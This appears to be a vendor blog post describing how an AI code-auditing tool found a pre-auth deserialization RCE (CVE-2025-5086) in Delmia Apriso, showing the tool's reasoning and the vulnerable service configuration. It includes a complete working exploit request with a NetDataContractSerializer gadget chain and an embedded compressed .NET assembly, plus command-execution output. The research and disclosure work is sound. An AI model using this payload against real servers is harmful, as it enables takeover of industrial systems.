Hacktron finds pre-auth RCE in Dassault Delmia Apriso

In the early days, we benchmarked Hacktron’s capabilities to browse large codebases and find exploitable vulnerabilities. We focused on real-world codebases that we had previously audited, as prior knowledge helps triage and eliminate false positives.

Delmia Apriso has been around for years, and at one point even Apple hosted it externally. Its Manufacturing Execution System is used by the likes of Boeing, Airbus France, and Lockheed Martin. Security teams like Synactiv and I (while at ProjectDiscovery) have audited its code. Its backend is .NET and it’s a relatively large codebase, making it a perfect candidate for Hacktron benchmarking.

Hacktron ended up finding CVE-2025-5086, a pre-auth remote code execution vulnerability with a 9.0 CVSS severity rating.

Hacktron’s environment and objective

Knowing a few things about .NET, we provided Hacktron with the decompiled source code and the webroot/install directory contents, since critical configurations like web.config reside there and are applied based on directory structure.

1
2
➜  DELMIA-Apriso-2025 ls
flexnet_decompiled_dlls install_dir_contents

Objective

You’re reviewing the C#/ASP.NET-based codebase of a web application called Delmia Apriso FlexNet. The goal is to assess the application for any unauthenticated insecure deserialization risks, especially those that could be triggered through user-controllable input. Focus on identifying patterns where external data is processed in ways that might lead to unsafe deserialization, particularly in the absence of strong validation or protective controls.

Hacktron’s approach

It’s fascinating to watch how Hacktron reasons through code to uncover security vulnerabilities. After embedding our own knowledge into it, we were especially curious to see how it approaches and flags bugs — mirroring the way we’d think through an audit ourselves.

Hacktron thinking

<thinking>

Let’s search for all occurrences of .Deserialize( across .cs files. This should reveal common sinks like BinaryFormatter, XmlSerializer, or custom deserializers.

</thinking>

This led to many sinks and multiple paths for Hacktron to explore.

One instance being as follows:

/app/FlexNet.Apriso.ClientComponents.ScreenFlow/ScreenFlow/SfControllerExtender.cs:98:

1
dictionary2.Add(keyValuePair.Key, SfControllerExtender.Deserialize(keyValuePair.Value.ToString()));

Just seeing a .Deserialize(…) call can look promising, but when Hacktron opened it up, it discovered this:

1
2
3
4
5
public static PropertyBag Deserialize(string content)
{
    // … 
    return JsonConvert.DeserializeObject<Dictionary<string, object>>(content);
}

In other words, it’s just a thin wrapper over JsonConvert.DeserializeObject(...). At that point, Hacktron has two choices:

  • Give up right away, assuming “JSON” implies “safe by default.”
  • Dig deeper, asking “Does this particular JSON call use any unsafe settings (e.g., TypeNameHandling) under the hood?”

Hacktron is designed to not to stop at the surface level. It knows that although JSON deserialization is usually safe, if TypeNameHandling were enabled anywhere, an attacker could inject arbitrary types. So it searches for any occurrences of TypeNameHandling in the entire codebase to confirm whether this JSON path is truly harmless.

Hacktron thinking

<thinking>

This looks like a custom JSON-based deserializer. By default, JsonConvert.DeserializeObject uses TypeNameHandling = None (safe). There’s no JsonSerializerSettings passed here, so nested objects simply get re-parsed recursively. We’d need TypeNameHandling.All (or similar) to let the client dictate type information. Let’s search globally for any TypeNameHandling references

</thinking>

$ exec_command(‘grep -R “TypeNameHandling” -n /app’)

“No results”

Since no TypeNameHandling reference was found, Hacktron assumed the default setting (TypeNameHandling = None) applies. With that pathway ruled out, it marked this as a dead end and moved on to investigate other parts of the source code.

Hacktron thinking

<thinking>

I haven’t found any clear instances of BinaryFormatter.Deserialize or JsonConvert.DeserializeObject with TypeNameHandling enabled that are reachable from unauthenticated user input. The XmlSerializer path seems constrained by the server-side type definition. The Runtime.Deserialize path leads to code I cannot analyze. The SfControllerExtender path using JsonConvert seems safe due to default settings, and I couldn’t trace its origin anyway.

Perhaps I should look for other potentially dangerous serializers like LosFormatter, ObjectStateFormatter, or NetDataContractSerializer.

</thinking>

Going Deeper Into the Code

As Hacktron navigates deeper through the codebase, it comes across a particularly interesting file: FlexNetOperationsService.cs. This is where things start to get serious.

It detects usage of NetDataContractSerializer — a serializer that embeds .NET type metadata, making it dangerous if fed untrusted input.

<thinking>

Okay, this is interesting! NetDataContractSerializer is explicitly mentioned via the [NetDataContractSerializerBehavior] attribute applied to the FlexNetOperationsService class in /app/FlexNet.WebUI.WebServices/FlexNetOperationsService.cs.

NetDataContractSerializer is dangerous because, like BinaryFormatter, it includes .NET type information in the serialized data (XML in this case), allowing an attacker to potentially control the type being deserialized. If this service endpoint is reachable without authentication and processes user-supplied data using this serializer, it could lead to arbitrary object deserialization and RCE.

I need to examine FlexNetOperationsService.cs to understand:

1 - What methods does this service expose?

2 - Do any methods take parameters that are deserialized using NetDataContractSerializer?

3 - Is the service accessible without authentication? Looking at the attributes applied to the FlexNetOperationsService class and the invoke method:

</thinking>

1
2
3
4
5
6
7
8
 [NetDataContractSerializerBehavior]
 [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
 [ServiceBehavior(AddressFilterMode = AddressFilterMode.Any)]
 
 public class FlexNetOperationsService : IFlexNetOperationsService {
     public Outcome Invoke(OperationExecutionParameters parameters, out PropertyBag outputs)
 }
 

Confirms the service is reachable pre-auth

The below hypothesis is facinating. It noticed the the WCF service itself doesn’t have any auth annotations and the binding is in web.config. However, the service itself is commented out. Would it be reacable?

<thinking>

There are no standard ASP.NET or WCF authorization attributes like [Authorize] or [AllowAnonymous] applied to either the class or the method. In WCF, the absence of explicit security configuration in web.config and the lack of authorization attributes in the code often defaults to no authentication.

</thinking>

<thinking>

This main Web.config for the /WebServices/ directory provides more context:

1 - FlexNetOperationsService.svc Binding: Lines 64-71 show a commented-out service definition for FlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService. If this were active, it would use the wsHttpBinding named FlexNetConfiguration.

2 - FlexNetConfiguration Binding: Lines 84-90 define the wsHttpBinding named FlexNetConfiguration. Crucially, it confirms <security mode="None">.

3 - Service Implementation: The service implementation class is FlexNet.FunctionInterpreter.WebServices.FlexNetOperationsService.

Hypothesis: Although the service definition for FlexNetOperationsService.svc is commented out in this web.config, the .svc file itself exists (/app/install_dir_contents/WebSite/WebServices/FlexNetOperationsService.svc). It’s possible that:

* The service is activated by the presence of the .svc file.

</thinking>

Reporting

Confirming that the service can indeed be accessed pre-auth and does allow deserialization, Hacktron reported the issue to us.

image

We validated the vulnerability and confirmed RCE via the below unauthenticated request:

PoC HTTP Request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke?cmd=dir HTTP/1.1
Host: delmia-apriso
Content-Type: text/xml
SOAPAction: "http://tempuri.org/IFlexNetOperationsService/Invoke"
Content-Length: 9182

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">&lt;ResourceDictionary&#xD;
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
&gt;&#xD;
   &lt;s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String"&gt;&#xD;
      &lt;x:Arguments&gt;&#xD;
         &lt;s:String&gt;H4sIAAAAAAAEAO1WTWwbRRR+YzuO4yRuk5S0RRQ2tEYplMVVDLSoatPEaZIqadLYTUuFlK7XU2fResfMrktSJOilqEhIIMSRIo5F4pBDERUSEgeO9MABiQOHcuNWLlwQonwzu07cxFJ7QRVSnz3fm3nz5s33xvPj2fMfU5yIEij37hHdolBG6cFyBSXzzLcZutl1e+gWm7k9VFp2fKMuRVVaNcO2PE8ERpkbsuEZjmcU5opGTVS42dub3hfFmJ8gmmFxGnzyz2oz7h2KDXWzbqIkhQVyKgsw1olt1/VYyJtoQ2tSsbAap9GrylV9N/S60vI3iMxFCd+ItUnyAlHPQ6zFFgG/VEszhfZUS9sM+EoAXeoIfXWem+aH+YIpfWlTxA0cdaKp+/1gHjUld4Udcb0QxerZ4je2mWYuG+opPaSDfsCkhzAHe5gc28hALk4XSY/viw1jZ6WHES0tkGZawlgXSDSdTh6Y1C3ZBUgOd8LmI6t0b9dOAVO6a1CkleruHO5Ww3sU9AJ6wnAZQEpsAz6PpIonx1jEWKV8KW/mzJHcyMHDytJBLrCO7r3vEv0KvabqxUA6XtVXHh+C5g7ovWeK9EU83B97J89MF6DX0L6m2mOuKEc5YmnZ5I4YdanGX9kRGgzXqztadlXf1lJXJa5HpiOWSdpPzwIX6RXgJWCabtB14PfAJP2G3gzF2F3gGDBJ59k8S9JlYJo+Ytd1FBah+mynnTpXVZ83lP39XTk9Xx/lEGU3qVaXxiG6SU8Bf0TZT7/Qc3SQfqcX6DB6DwIH2KtAE3icTrIjwCobp9N0lU1hxGdshl6nL9lpMpHxEnCAlpFJ4srmvfAptZxLzXS31q22Abq+xcaQ/bocmRWVhsuPkpMXjrWaL5sV16UJqvm2kK5TpuKqH/AazZXf5HZAph0IGdnMhYYXODVujota3XG5LHJ5ybG5T6HBChzhLXDXWtE1/3iAPVFuBJyigcoNXWXHdYLVjd4mk+Y0Z3mZpoKgPi48faqrPFgab0jJvUDbF/hbDe6H9tb6tOId7kMw8mwraEYsOFbVE37g2D7NSwHKfjGwZDDtXRTk6zAVRyJfWL2KJStzjaDeCHTXGZ8Xl7nrTqxwW7GNxpMO0Jxgek5NzK3aArcqXGo6m2KVkErUq1RJTHiVKB2/jtXiUT5R46x0MBlRp001qkC/RLa+2HAuTvx0TlyemP06/knt8z/eGaHUN5ffWNydv/NB3CCWMBhLpdaOLb3X93P6NeyD/r6EQf1PwJ7JdFAsAzRiqCvHWJJY/1D/HuWRxeiMqryoejKpzkSmfw++KRZdkE+rw1CKDZ6VVv2U8CZWbF5XP3RpWYq3fUb7shvb7GjzfWkjuWxra2lcyILrzlqOF25CzvWWVHIvixjb2wb5XwjT5HeFr+h9dnXX5NrYlai349wo3vGW92smlgcuUhE3xCKO6wJq03hpT6E9DTwRvrr0XeLuP+1em2ORVvfC5me5oGdeJIsk4ji43zlienh3hO7fp0eV0GvB6qPfogB+Aq1Q1hJfMRWjCLtEj0fVNpGuaZ/c+idPZbUGdACM2Lp/AcXHXldx6vfNY+g1S7X4LqJIeG/45HB/bhRcd9QLf8Uh0L4euLtYLwunSh0vBywE0KJVzcfEWXMp3H3DmtcM/Kp61Dg86/BTzKq4o4OIU0HPMRfZnWiOJkfvoebK67zmEUPA2kD+wZbsNud2SI85Dg8fnjVEdBHZeOC4x/IfihH+Z5p/+VETeSyPQv4FcLoAngAOAAA=&lt;/s:String&gt;&#xD;
      &lt;/x:Arguments&gt;&#xD;
   &lt;/s:Array&gt;&#xD;
   &lt;i:MemoryStream x:Key="inputStream"&gt;&#xD;
      &lt;x:Arguments&gt;&#xD;
         &lt;StaticResource ResourceKey="data"&gt;&lt;/StaticResource&gt;&#xD;
      &lt;/x:Arguments&gt;&#xD;
   &lt;/i:MemoryStream&gt;&#xD;
   &lt;c:GZipStream x:Key="gzipStream"&gt;&#xD;
      &lt;x:Arguments&gt;&#xD;
            &lt;StaticResource ResourceKey="inputStream"&gt;&lt;/StaticResource&gt;&#xD;
            &lt;c:CompressionMode&gt;0&lt;/c:CompressionMode&gt;&#xD;
      &lt;/x:Arguments&gt;&#xD;
   &lt;/c:GZipStream&gt;&#xD;
   &lt;s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance"&gt;&#xD;
      &lt;x:Arguments&gt;&#xD;
         &lt;x:Type TypeName="s:Byte"/&gt;&#xD;
         &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
      &lt;/x:Arguments&gt;&#xD;
   &lt;/s:Array&gt;&#xD;
   &lt;ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read"&gt;&#xD;
      &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
         &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
         &lt;x:Int32&gt;0&lt;/x:Int32&gt;&#xD;
         &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
      &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
   &lt;/ObjectDataProvider&gt;&#xD;
    &lt;ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load"&gt;&#xD;
        &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
        &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
    &lt;/ObjectDataProvider&gt;&#xD;
    &lt;ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes"&gt;&#xD;
        &lt;ObjectDataProvider.MethodParameters/&gt;&#xD;
    &lt;/ObjectDataProvider&gt;&#xD;
    &lt;ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue"&gt;&#xD;
        &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;s:Int32&gt;0&lt;/s:Int32&gt;&#xD;
        &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
    &lt;/ObjectDataProvider&gt;&#xD;
    &lt;ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember"&gt;&#xD;
        &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;r:BindingFlags&gt;512&lt;/r:BindingFlags&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
            &lt;x:Null/&gt;&#xD;
        &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
    &lt;/ObjectDataProvider&gt;&#xD;
&lt;/ResourceDictionary&gt;</string></Items></ArrayOfstring>
    </Invoke>
  </s:Body>
</s:Envelope>

HTTP Response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
...
 Volume in drive C is Windows
 Volume Serial Number is ...

 Directory of c:\windows\system32\inetsrv

03/28/2025  06:12 PM    <DIR>          .
03/28/2025  06:12 PM    <DIR>          ..
08/03/2020  08:26 AM    <DIR>          0405
08/03/2020  08:26 AM    <DIR>          0407
08/03/2020  08:26 AM    <DIR>          0409
08/03/2020  08:26 AM    <DIR>          040C
08/03/2020  08:26 AM    <DIR>          0410
08/03/2020  08:26 AM    <DIR>          0412
08/03/2020  08:26 AM    <DIR>          0413
08/03/2020  08:26 AM    <DIR>          
...

Conclusion

For years, this vulnerability hid in plain sight — missed by multiple audits and even used in production by Apple. In just ten minutes, Hacktron pinpointed the unprotected .svc file and its “no security” binding, exposing a full pre‐auth RCE path. This example shows how AI security researchers can rapidly uncover critical overlooked vulnerabilities, making them invaluable for keeping codebases truly secure.